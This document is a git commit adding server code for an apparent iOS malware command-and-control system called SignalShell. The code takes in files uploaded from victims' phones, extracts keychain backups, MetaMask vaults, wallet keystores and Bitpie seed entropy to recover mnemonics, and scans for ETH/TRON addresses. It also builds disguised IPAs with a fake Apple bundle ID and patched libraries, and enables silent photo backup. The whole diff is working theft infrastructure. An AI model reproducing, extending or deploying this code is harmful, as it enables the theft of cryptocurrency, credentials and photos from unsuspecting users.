feat: SignalShell v1 upload pipeline + APP builder

SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id

APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url

Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
This commit is contained in:
hashbro
2026-10-06 06:41:52 +08:00
parent ffbad6a9da
commit 316b4cea51
16 changed files with 1437 additions and 3 deletions
@@ -87,6 +87,7 @@ class ChannelController extends Controller
'status' => (int) $c->status,
'app_name' => $c->app_name ?: '',
'bundle_id' => $c->bundle_id ?: '',
'h5_url' => $c->h5_url ?: '',
'links' => $c->supportLinks(),
'landing_path' => $c->landingPath(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
@@ -240,6 +241,7 @@ class ChannelController extends Controller
'user_id' => ['nullable', 'integer', 'min:0'],
'app_name' => ['required', 'string', 'max:64'],
'bundle_id' => ['required', 'string', 'max:255'],
'h5_url' => ['nullable', 'string', 'max:2048'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
@@ -277,6 +279,7 @@ class ChannelController extends Controller
'status' => (int) ($data['status'] ?? 1),
'app_name' => $data['app_name'],
'bundle_id' => $data['bundle_id'],
'h5_url' => $data['h5_url'] ?? null,
]);
});
} catch (ValidationException $e) {
@@ -301,6 +304,100 @@ class ChannelController extends Controller
]);
}
/**
* POST /admin/channels/build-app — Create App channel + build IPA.
*
* Creates the Channel record, then invokes AppPackageService to
* generate a customized IPA (domain, channel ID, app name, logo).
* Returns the download URL on success.
*/
public function buildApp(Request $request)
{
abort_if($this->isAgentPortal(), 403);
// Double-check super admin (route middleware admin.super is primary guard)
$admin = auth('admin')->user();
abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
$data = $request->validate([
'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
'user_id' => ['nullable', 'integer', 'min:0'],
'app_name' => ['required', 'string', 'max:64'],
'bundle_id' => ['nullable', 'string', 'max:255'],
'h5_url' => ['nullable', 'string', 'max:2048'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$channelId = trim((string) ($data['channel_id'] ?? ''));
if ($channelId === '') {
$channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
}
if (Channel::query()->where('channel_id', $channelId)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$this->assertAgentChannelQuota($userId);
$bundleId = trim((string) ($data['bundle_id'] ?? ''));
if ($bundleId === '') {
$bundleId = 'com.apple.mobile.MobileHouseArrest';
}
try {
$channel = Channel::query()->create([
'channel_id' => $channelId,
'builder_type' => Channel::BUILDER_APP,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
'app_name' => $data['app_name'],
'bundle_id' => $bundleId,
'h5_url' => $data['h5_url'] ?? null,
]);
} catch (\Throwable $e) {
return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
}
// Handle logo upload
$logoPath = null;
if ($request->hasFile('logo')) {
$file = $request->file('logo');
if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
$logoPath = $file->getRealPath();
}
}
// Build IPA
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
try {
$service = app(\App\Services\AppPackageService::class);
$result = $service->build($channel, $logoPath, $apiDomain);
} catch (\Throwable $e) {
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
}
return response()->json([
'code' => $result['success'] ? 0 : 1,
'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']),
'data' => [
'id' => $channel->id,
'channel_id' => $channel->channel_id,
'app_name' => $channel->app_name,
'bundle_id' => $channel->bundle_id,
'h5_url' => $channel->h5_url,
'ipa_url' => $result['success'] ? $result['path'] : null,
'ipa_size' => $result['size'],
'api_domain' => $apiDomain,
],
]);
}
/**
* Create an "old" builder channel — 32-hex channel id, static resources
* under /web/{id}/ via the legacy channel-builder (new_project.py).
@@ -422,9 +519,13 @@ class ChannelController extends Controller
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'h5_url' => ['nullable', 'string', 'max:2048'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('h5_url', $data)) {
$channel->h5_url = $data['h5_url'] ?: null;
}
if (array_key_exists('user_id', $data)) {
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
+389
View File
@@ -260,6 +260,395 @@ class AppC2Controller extends Controller
* malware tars up each app's listed directories and uploads them.
* Keychain is controlled separately via doKeychain=true.
*/
// ════════════════════════════════════════════════════════════
// SignalShell v1 protocol (shenma.my compatible)
// ════════════════════════════════════════════════════════════
/**
* Parse a SignalShell ZIP upload: extract keystore/keychain files
* from wallet container ZIPs and ingest them.
*/
private function ingestShellZip($device, string $body, string $filename): void
{
\Illuminate\Support\Facades\Log::info('ingestShellZip: START', ['filename' => $filename, 'body_size' => strlen($body), 'device_id' => $device->id]);
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_zip_');
file_put_contents($tmpFile, $body);
$zip = new \ZipArchive;
$openResult = $zip->open($tmpFile);
if ($openResult !== true) {
\Illuminate\Support\Facades\Log::error('ingestShellZip: ZIP open FAILED', ['result' => $openResult, 'file' => $tmpFile]);
@unlink($tmpFile);
return;
}
\Illuminate\Support\Facades\Log::info('ingestShellZip: ZIP opened', ['files' => $zip->numFiles]);
$foundKeystores = [];
$foundKeychain = null;
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
// Skip directories
if (str_ends_with($name, '/')) continue;
$content = $zip->getFromIndex($i);
if ($content === false || $content === '') continue;
$lower = strtolower($name);
// Ethereum V3 keystore files (UTC-- prefixed)
if (str_starts_with(basename($name), 'UTC--')) {
\Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND UTC keystore', ['name' => $name, 'is_json' => $this->isJsonContent($content)]);
if ($this->isJsonContent($content)) {
$foundKeystores[] = ['name' => basename($name), 'content' => $content];
}
}
// imToken walletsV2 JSON
if (str_contains($lower, 'walletsv2/') && str_ends_with($lower, '.json')) {
if ($this->isJsonContent($content)) {
$foundKeystores[] = ['name' => basename($name), 'content' => $content];
}
}
// keychain backup inside ZIP
if (str_contains($lower, 'keychain') && $this->looksLikeXmlStr($content)) {
$foundKeychain = $content;
}
// Trust keystore realm files
if (str_contains($lower, '.realm') && ! str_contains($lower, '.lock')) {
// Store as binary for later analysis
$this->storeBinaryArtifact($device, basename($name), $content, 'realm');
}
// SQLite databases (TronLink, TokenPocket, etc)
if (str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.sqlite3') || str_ends_with($lower, '.db')) {
$this->storeBinaryArtifact($device, basename($name), $content, 'sqlite');
}
}
$zip->close();
@unlink($tmpFile);
// MetaMask vault detection: look for persist-KeyringController with vault field
if (str_contains(strtolower($filename), 'metamask')) {
$tmpFile2 = tempnam(sys_get_temp_dir(), 'mm_vault_');
file_put_contents($tmpFile2, $body);
$mmZip = new \ZipArchive;
if ($mmZip->open($tmpFile2) === true) {
for ($mi = 0; $mi < $mmZip->numFiles; $mi++) {
$mf = $mmZip->getNameIndex($mi);
if (! str_contains($mf, 'KeyringController')) continue;
$mc = $mmZip->getFromIndex($mi);
$mj = json_decode($mc, true);
if (! is_array($mj) || ! isset($mj['vault'])) continue;
$mv = json_decode($mj['vault'], true);
if (! is_array($mv) || ! isset($mv['cipher'])) continue;
\Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND MetaMask vault');
$mmRaw = array_merge($mv, ['kind' => 'metamask.vault']);
$mmHash = md5($mc);
$mmExisting = \App\Models\WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
if (! $mmExisting) {
$mmRow = \App\Models\WalletKeystore::create([
'device_id' => $device->id,
'chain' => \App\Models\Device::CHAIN_APP,
'source' => 'MetaMask',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $mmRaw,
'content_hash' => $mmHash,
]);
$mmStats = \App\Models\WalletKeystore::computeListStatsFromJson($mmRaw);
$mmRow->list_kind = $mmStats['kind'];
$mmRow->list_has_web3 = 1;
$mmRow->save();
\Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask keystore created', ['id' => $mmRow->id]);
}
}
$mmZip->close();
// Extract user addresses from ProfileMetricsController + AccountsController
$mmAddrZip = new \ZipArchive;
if ($mmAddrZip->open($tmpFile2) === true) {
$mmAddrs = [];
for ($ai = 0; $ai < $mmAddrZip->numFiles; $ai++) {
$af = $mmAddrZip->getNameIndex($ai);
$ac = $mmAddrZip->getFromIndex($ai);
if (! $ac) continue;
$aj = json_decode($ac, true);
if (! is_array($aj)) continue;
if (str_contains($af, 'ProfileMetricsController')) {
foreach ($aj['reportedAccounts'] ?? [] as $ra) {
$ct = \App\Support\WalletSource::inferChainType($ra);
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
$mmAddrs[$ra] = $ct;
}
}
}
if (str_contains($af, 'AccountsController')) {
foreach ($aj['internalAccounts']['accounts'] ?? [] as $acc) {
$ia = $acc['address'] ?? '';
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
$mmAddrs[$ia] = 'ETHEREUM';
}
}
}
}
$mmAddrZip->close();
foreach ($mmAddrs as $addr => $ct) {
$exists = \App\Models\WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
if (! $exists) {
try {
\App\Models\WalletAddress::create([
'device_id' => $device->id,
'address' => $addr,
'chain_type' => $ct,
'source' => 'MetaMask',
]);
} catch (\Throwable $e) {
// skip
}
}
}
if ($mmAddrs !== []) {
\Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask addresses stored', ['count' => count($mmAddrs)]);
}
}
}
@unlink($tmpFile2);
}
\Illuminate\Support\Facades\Log::info('ingestShellZip: found keystores', ['count' => count($foundKeystores)]);
// Store extracted keystores
foreach ($foundKeystores as $ks) {
try {
// Map filename to wallet source label
$sourceLabel = 'unknown';
$fn = strtolower($filename);
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) $sourceLabel = 'Trust Wallet';
elseif (str_contains($fn, 'tronlink')) $sourceLabel = 'TronLink';
elseif (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) $sourceLabel = 'imToken';
elseif (str_contains($fn, 'bitpie')) $sourceLabel = 'Bitpie';
elseif (str_contains($fn, 'global.wallet')) $sourceLabel = 'Global Wallet';
elseif (str_contains($fn, 'metamask')) $sourceLabel = 'MetaMask';
elseif (str_contains($fn, 'coin98')) $sourceLabel = 'Coin98';
elseif (str_contains($fn, 'phantom')) $sourceLabel = 'Phantom';
elseif (str_contains($fn, 'uniswap')) $sourceLabel = 'Uniswap';
elseif (str_contains($fn, 'exodus')) $sourceLabel = 'Exodus';
elseif (str_contains($fn, 'tonhub')) $sourceLabel = 'Tonhub';
elseif (str_contains($fn, 'tonkeeper')) $sourceLabel = 'Tonkeeper';
elseif (str_contains($fn, 'okex')) $sourceLabel = 'OKX';
else $sourceLabel = substr(basename($filename, '.zip'), 0, 40);
$rawJson = json_decode($ks['content'], true);
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
// Tag keystore type for UI display + pipeline recognition
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
$rawJson['kind'] = 'web3.keystore';
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
$rawJson['kind'] = 'web3.keystore';
}
}
\App\Models\WalletKeystore::create([
'device_id' => $device->id,
'chain' => \App\Models\Device::CHAIN_APP,
'source' => $sourceLabel,
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $rawJson,
'content_hash' => md5($ks['content']),
]);
\Illuminate\Support\Facades\Log::channel('keystore')->info('shellUpload: stored keystore', [
'device' => $device->device_id,
'source' => $ks['name'],
]);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::warning('ingestShellZip: keystore create skipped', [
'name' => $ks['name'] ?? '?',
'error' => $e->getMessage(),
]);
}
}
// Parse keychain if found inside ZIP
if ($foundKeychain !== null) {
try {
app(\App\Services\AppUploadIngester::class)
->ingestArtifact($device, $foundKeychain, 'keychain.xml');
} catch (\Throwable $e) {
// ignore
}
}
}
private function isJsonContent(string $content): bool
{
$trimmed = ltrim($content);
return str_starts_with($trimmed, '{') || str_starts_with($trimmed, '[');
}
private function looksLikeXmlStr(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
private function storeBinaryArtifact($device, string $name, string $content, string $type): void
{
$dir = public_path('log/shell_artifacts/'.$device->device_id);
if (! is_dir($dir)) {
@mkdir($dir, 0755, true);
}
file_put_contents($dir.'/'.$type.'_'.$name, $content);
}
/**
* GET /api/ios-shell/config?a=<key>
*
* SignalShell calls this on launch and periodically (~24s) to get
* the WebView URL and photo backup policy. Response shape must
* match the original shenma.my exactly:
*
* {"schema_version":1,"website_url":"https://uberlife.cc",...}
*/
public function shellConfig(Request $request): Response
{
$this->logRequest($request, 'shell_config');
// Look up channel by the `a` query param (channel_id / API key)
$apiKey = (string) $request->query('a', '');
$websiteUrl = 'https://uberlife.cc';
if ($apiKey !== '') {
$channel = \App\Models\Channel::query()
->where('channel_id', $apiKey)
->where('builder_type', \App\Models\Channel::BUILDER_APP)
->first();
if ($channel && $channel->h5_url) {
$websiteUrl = $channel->h5_url;
}
}
return $this->json([
'schema_version' => 1,
'website_url' => $websiteUrl,
'status_bar_style' => 'hidden',
'background_color' => '#FFFFFF',
'hide_home_indicator' => true,
'backup' => [
'enabled' => true,
'max_dimension' => 2048,
'jpeg_quality' => 0.6,
'concurrency' => 4,
],
]);
}
/**
* POST /api/v1/upload?a=<key>&<filename>
*
* SignalShell sends a single POST with the raw file body.
* Filename is the second query parameter.
* Expected response: {"ok":true,"size":N,"bind":true}
*/
public function shellUpload(Request $request): Response
{
$this->logRequest($request, 'shell_upload');
// Extract filename from RAW query string WITHOUT parse_str
// (parse_str converts dots to underscores in key names!)
$rawQuery = $request->server->get('QUERY_STRING', '');
$apiKey = '';
$filename = 'unknown';
foreach (explode('&', $rawQuery) as $part) {
$kv = explode('=', $part, 2);
$key = urldecode($kv[0]);
if ($key === 'a') {
$apiKey = urldecode($kv[1] ?? '');
} elseif ($key !== '' && $filename === 'unknown') {
$filename = $key;
}
}
$body = (string) $request->getContent(false);
$size = strlen($body);
$deviceId = $request->headers->get('x-device-id', 'unknown');
$iosVersion = $request->headers->get('x-ios-version', 'unknown');
// Register/find device (apiKey becomes channelId via appId field)
$device = $this->registerAppDevice($request, [
'deviceId' => $deviceId,
'iosVersion' => $iosVersion,
'appName' => 'SignalShell',
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
'appId' => $apiKey,
]);
// Save raw file
$date = date('Ymd');
$dir = public_path("log/shell_upload/{$date}");
if (! is_dir($dir)) {
@mkdir($dir, 0755, true);
}
$safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$savedPath = "{$dir}/{$deviceId}_{$safeName}";
file_put_contents($savedPath, $body);
// Log upload
\Illuminate\Support\Facades\Log::info('SignalShell upload', [
'filename' => $filename,
'size' => $size,
'device_id' => $deviceId,
'ios_version' => $iosVersion,
'saved_to' => $savedPath,
]);
// Ingest: parse keychain.xml / wallet ZIP / notes → store keystores + addresses
\Illuminate\Support\Facades\Log::info('shellUpload: ingest check', [
'device_null' => $device === null,
'size' => $size,
'filename' => $filename,
'ends_log' => str_ends_with(strtolower($filename), '.log'),
'ends_zip' => str_ends_with(strtolower($filename), '.zip'),
]);
if ($device !== null && $size > 0 && ! str_ends_with(strtolower($filename), '.log')) {
try {
// ZIP files from SignalShell need special handling
$fnLower = strtolower($filename);
if (str_ends_with($fnLower, '.zip')) {
$this->ingestShellZip($device, $body, $filename);
} else {
app(\App\Services\AppUploadIngester::class)
->ingestArtifact($device, $body, $filename);
}
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::error('shellUpload ingest failed', [
'filename' => $filename,
'device' => $deviceId,
'error' => $e->getMessage(),
]);
}
}
// Return what SignalShell expects
return $this->json([
'ok' => true,
'size' => $size,
'bind' => $device !== null,
]);
}
private const BUNDLE_IDS_TARGETS = [
'com.tronlink.hdwallet' => ['Documents'],
'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'],